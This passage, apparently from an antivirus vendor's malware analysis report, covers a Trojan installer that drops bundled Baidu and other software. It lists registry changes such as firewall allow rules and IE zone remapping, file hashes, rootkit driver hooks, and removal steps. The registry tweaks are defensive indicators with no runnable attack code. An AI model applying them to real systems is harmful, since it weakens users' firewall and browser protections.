[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Program Files%\Baidu\BaiduAn\2.3.0.2225]
"BaiduAnTray.exe" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnTray.exe:*:Enabled:百度卫士托盘程序"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Program Files%\Baidu\BaiduAn\2.3.0.2225]
"BaiduAnBugRpt.exe" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnBugRpt.exe:*:Enabled:百度卫士BUG上报程序"

The Trojan deletes the following value(s) in system registry:

[HKLM\System\CurrentControlSet\Services\BDMNetMon]
"DeleteFlag"

[HKLM\System\CurrentControlSet\Services\bd0001]
"DeleteFlag"

[HKLM\System\CurrentControlSet\Services\bd0002]
"DeleteFlag"

[HKLM\SOFTWARE\Baidu\BaiduAn]
"RtpFlag"

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Program Files%\updatr]
"oovmdw_70745.exe"

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Program Files%\updatr]
"oovmdw_70745.exe"

[HKLM\System\CurrentControlSet\Services\BDArKit]
"DeleteFlag"

The process BDASWAcc.exe:316 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "35 F2 B3 4A 22 64 87 3D B8 BF F0 70 A0 30 88 25"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process Ainqngz5.2.exe:1136 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "Ainqngz5.2.exe"

[HKLM\SOFTWARE\Microsoft\Direct3D\MostRecentApplication]
"Name" = "Ainqngz5.2.exe"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1404720818"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8C E4 B1 42 81 58 CC A4 3D CE 21 29 9B 67 20 D5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
254f13dfd61c5b7d2119eb2550491e1d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsi3.tmp\NSISdl.dll
00a0194c20ee912257df53bfe258ee4a	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsi3.tmp\System.dll
f951a17f9892add6be51b7f84638defe	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsi3.tmp\guagua_77150006814.exe
2e02c1bdb46273ef13cb5203576e079f	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsi3.tmp\pczh_107_306.exe
44edff85d12e091f0b129f05a3f2a042	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw6.tmp\BDLogicUtils.dll
d184763cb4e62d531193978de7b82db2	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw6.tmp\BDMDownload.dll
c8b0dca29d7b9aff1b801af86212c586	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw6.tmp\BDMNet.dll
12f98be1d919784370eb0f87e78b60d8	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw6.tmp\BDMNetGetInfo.dll
30cbc602ada7cdfb0346038c05996d84	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw6.tmp\BDMReport.dll
b540a866191f7fd20f5e6355bc2b094e	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw6.tmp\BDMSkin.dll
f52eb281e29da8065e18805617ac2cbc	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw6.tmp\System.dll
763b532d651f0ad5e135d9b57bf4fba4	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw6.tmp\dl.dll
ebfe7c9594e300bb0c16e7bb99a7e66d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw6.tmp\hu.dll
731e4fd7cbbff12adebb2a4ff8fbe9eb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw6.tmp\tmpjnmhqw.dll
8d6d78fcc0a17b47f17ce77217ef53a1	c:\Program Files\ainqngz5.2\Ainqngz5.2.exe
151ff53109c38e720e9083e3a4e194f8	c:\Program Files\ainqngz5.2\candid.exe
61dd64b3a469bdcd80a69e8fc084d240	c:\Program Files\ainqngz5.2\schedule.exe
b975774b4cabf39685edf11b68b81dbe	c:\Program Files\ainqngz5.2\uninstall.exe
f06fb28d3a6db3fbd7e462bb6322af56	c:\Program Files\updatr\oovmdw_70745.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "%System%\DRIVERS\bd0001.sys" the Trojan controls creation and closing of processes by installing the process notifier.

Using the driver "%System%\DRIVERS\BDMNetMon.sys" the Trojan controls creation and closing of processes by installing the process notifier.

Using the driver "%System%\DRIVERS\bd0001.sys" the Trojan controls creation and closing of threads by installing the thread notifier.

Using the driver "%System%\DRIVERS\bd0001.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.

The Trojan installs the following kernel-mode hooks:

ZwUnloadKey

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):

   wwwww_3340.exe:3720
   vcredist_x86.exe:2720
   netsh.exe:3112
   bddownloader.exe:2984
   guagua_77150006814.exe:1016
   sc.exe:1336
   sc.exe:644
   BDDownloader.exe:2084
   BDDownloader.exe:2804
   MsiExec.exe:3196
   candid.exe:1548
   pczh_107_306.exe:828
   baiduanTray.exe:2772
   spkjrjp_30279.exe:1632
   yymusic05.exe:2308
   regsvr32.exe:3184
   BDALeakfixer.exe:3640
   BaiduAn.exe:3516
   BaiduAn.exe:3208
   BaiduAnSvc.exe:3884
   BaiduAnSvc.exe:3732
   oovmdw_70745.exe:444
   BDASWAcc.exe:316
   

3. Delete the original Trojan file.
   
4. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\yyfm0529.lnk (840 bytes)
   %Program Files%\yyfm0529\2014081705\Data\version.ini (32 bytes)
   %Program Files%\yyfm0529\2014081705\swresample-0.dll (3312 bytes)
   %Program Files%\yyfm0529\2014081705\Data\user2.ini (40 bytes)
   %Program Files%\yyfm0529\2014081705\yymusic05.exe (63950 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\¹Ù·½Ö÷Ò³.lnk (334 bytes)
   %Program Files%\yyfm0529\2014081705\audio.dll (3616 bytes)
   %Program Files%\yyfm0529\2014081705\pthreadGC2.dll (3616 bytes)
   %Program Files%\yyfm0529\2014081705\avutil-52.dll (5520 bytes)
   %Program Files%\yyfm0529\2014081705\Data\client.ini (36 bytes)
   %Program Files%\yyfm0529\2014081705\favorfm.xml (440 bytes)
   %Program Files%\yyfm0529\2014081705\DuiLib.dll (16288 bytes)
   %Program Files%\yyfm0529\2014081705\Data\setup.ini (110 bytes)
   %Program Files%\yyfm0529\2014081705\Data\dh.ini (56 bytes)
   %Program Files%\yyfm0529\2014081705\channels.xml (784 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\ÅäÖù¤¾ß\жÔØyyfm0529.lnk (830 bytes)
   %Program Files%\yyfm0529\2014081705\libav.dll (6360 bytes)
   %Program Files%\yyfm0529\2014081705\Unins.exe (9608 bytes)
   %Program Files%\yyfm0529\2014081705\YFMSever.exe (23936 bytes)
   %Program Files%\yyfm0529\2014081705\avcore.dll (2392 bytes)
   %Program Files%\yyfm0529\2014081705\avcodec-54.dll (23936 bytes)
   %Program Files%\yyfm0529\2014081705\source.dll (6584 bytes)
   %Program Files%\yyfm0529\2014081705\SysConfig.ini (256 bytes)
   %Program Files%\yyfm0529\2014081705\avformat-54.dll (12536 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\vcredis1.cab (6255 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\vcredist.msi (42423 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDMWrench.sys.tmp.bdl (6441 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\dnw.xml.tmp.bdl (241 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\NSISdl.dll (14 bytes)
   %Program Files%\updatr\tj.txt (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp (57025 bytes)
   %Program Files%\updatr\oovmdw_70745.exe (51840 bytes)
   %Program Files%\updatr\uboskin\config.ini (290 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\pczh_107_306.exe (57056 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\adwoca_00005.exe (4626 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\wwwww_3340.exe (413400 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\spkjrjp_30279.exe (230878 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\guagua_77150006814.exe (106373 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\sha (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\cb16fabc\DMSet.Xml (675 bytes)
   %Program Files%\Common Files\Baidu\BDDownload\107\bddownloader.exe (9605 bytes)
   %Program Files%\Common Files\Baidu\BDDownload\107\7z.dll (2105 bytes)
   %Program Files%\Common Files\Baidu\BDDownload\107\dl.dll (14988 bytes)
   %Program Files%\Common Files\Baidu\BDDownload\107\bdcomproxy.dll (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\BDDownloader_Installer\1.0.107.0[2014-8-17-5-21-45]\bdcomproxy.dll (2392 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst12.tmp (86466 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\BDDownloader_Installer\1.0.107.0[2014-8-17-5-21-45]\bddownloader.exe (41699 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\BDDownloader_Installer\1.0.107.0[2014-8-17-5-21-45]\dl.dll (65930 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\dl.dll (65930 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\BDDownloader_Installer\1.0.107.0[2014-8-17-5-21-45]\7z.dll (12536 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsi13.tmp\System.dll (784 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\°®Çé.ÖÇ»Û.5.2\жÔØ.lnk (715 bytes)
   %Program Files%\ainqngz5.2\candid.exe (5520 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\°®Çé.ÖÇ»Û.5.2\°®Çé.ÖÇ»Û.5.2.lnk (720 bytes)
   %Program Files%\ainqngz5.2\uninstall.exe (5064 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsd8.tmp (19409 bytes)
   %Program Files%\ainqngz5.2\Ainqngz5.2.exe (4992 bytes)
   %Program Files%\ainqngz5.2\schedule.exe (1552 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\NSISdl.dll (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\nsA.tmp (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\nsB.tmp (6 bytes)
   %Documents and Settings%\%current user%\Desktop\°®Çé.ÖÇ»Û.5.2.lnk (708 bytes)
   %Documents and Settings%\%current user%\Templates\172014852040460\YYM_955WD30.gif (1134 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\nsExec.dll (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\Base64.dll (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\hu.dll (3312 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\BDLogicUtils.dll (30968 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\BDMSkin.dll (38495 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp (166951 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\BDMDownload.dll (5520 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\BDMNetGetInfo.dll (9608 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\tmpt5zprs.dll (95827 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\dl.dll (65930 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\res\onlineWnd.zip (6360 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\a[1].htm (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\stj[1].ashx (3 bytes)
   %Program Files%\yyfm0529\2014081705\Data\server.ini (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\tj[1].ashx (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\ver[1].txt (36 bytes)
   %WinDir%\Temp\Cab16.tmp (54 bytes)
   %System%\config\SYSTEM.LOG (7714 bytes)
   %System%\config\software (95028 bytes)
   %System%\config\SOFTWARE.LOG (76196 bytes)
   %Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\white_list.db (145 bytes)
   %System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\2BF68F4714092295550497DD56F57004 (408 bytes)
   %WinDir%\Temp\Cab14.tmp (54 bytes)
   %Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\white_list.db-journal (512 bytes)
   %WinDir%\Temp\Tar17.tmp (2712 bytes)
   %System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\2BF68F4714092295550497DD56F57004 (18 bytes)
   %System%\drivers\BDEnhanceBoost.sys (48 bytes)
   %System%\drivers\BDMWrench.sys (1346 bytes)
   C:\$Directory (576 bytes)
   %WinDir%\Temp\Tar15.tmp (2712 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnTray.exe (9606 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsusplugins\BDMNetMonSusPlugin.dll (3721 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDSWShellExt.dll (1720 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\RTPPlugins\BDMSOAccServicePlugin.dll (1859 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\BDMRepBase.dll (3897 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\sd\FileMon.dll (7972 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\KVCommonRes.rdb (109 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SysFixer.rdb (87 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMSWNestCore.dll (6428 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\BDMTray.rdb (20 bytes)
   %Documents and Settings%\All Users\Start Menu\Programs\百度卫士\百度卫士.lnk (823 bytes)
   %Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\Patch\publish.db (32763 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\vcredist_x86.exe (17629 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsafeplugins\BDMSysFixerPlugin.dll (5442 bytes)
   %Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca (40 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\804.dat (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDMNetGetInfo.dll (11344 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDMSkin.dll (36698 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDMNetMon_XP_x86.sys (601 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\ad.dll (6379 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\scan_mgr_config.dat (2 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnBugRpt.exe (6437 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDNetMisc.dll (67 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDLogicUtils.dll (3811 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMStringUtils.dll (66 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnUpdate.exe (7972 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SysOptDict.dat (4 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsusplugins\SusPluginContainerConfig.xml (605 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\sw_property.dat (267 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x86\BDMNetMon_WIN7_x86.sys (94 bytes)
   %System%\drivers\BDMNetMon.sys (601 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOHomePageCleanerConfig.dat (12 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\BDMUpdate.rdb (1630 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDMDownload.dll (5520 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOSilentCleanerConfig.dat (12 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x86\BDArKit.sys (91 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SysAccLiveStrategy.dat (93 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back (4 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\app.ico (1623 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmtrayplugins\BDMSusPlugin.dll (3745 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\BDKVLogs.dll (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOGarbageCleanerConfig.dat (12 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\sw_acc.dat (3 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmmainframeplugins\PluginSetup.xml (1 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\SysRepLib.dat (22 bytes)
   %Documents and Settings%\All Users\Application Data\Baidu\Common\Global.db (100 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\NetService.ini (590 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOPluginCleanerConfig.dat (442 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\BDMSOManagerPlugins\BDMSOAcceleratorPlugin.dll (6424 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsw5.tmp (111370 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSysFixer\SysFixer.dll (267 bytes)
   %Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\BDMSOCleaner\SOGarbageConfig.xml (14 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\TrustAndIso.dll (262 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\LocalPluginInfo.xml (14 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\BDMCoolyPlugins\BDMSOAccCoolyPlugin.dll (1834 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_1_speed.png (15 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SOTurbo.rdb (18 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\GCScriptBind.dll (3815 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\CommonRes.rdb (7386 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\bd0002.sys (1281 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOCleanerPreScan.dat (1 bytes)
   %Program Files%\Baidu\BaiduAn\2.3.0.2225\PluginManager\PluginConfig.db (12289 bytes)
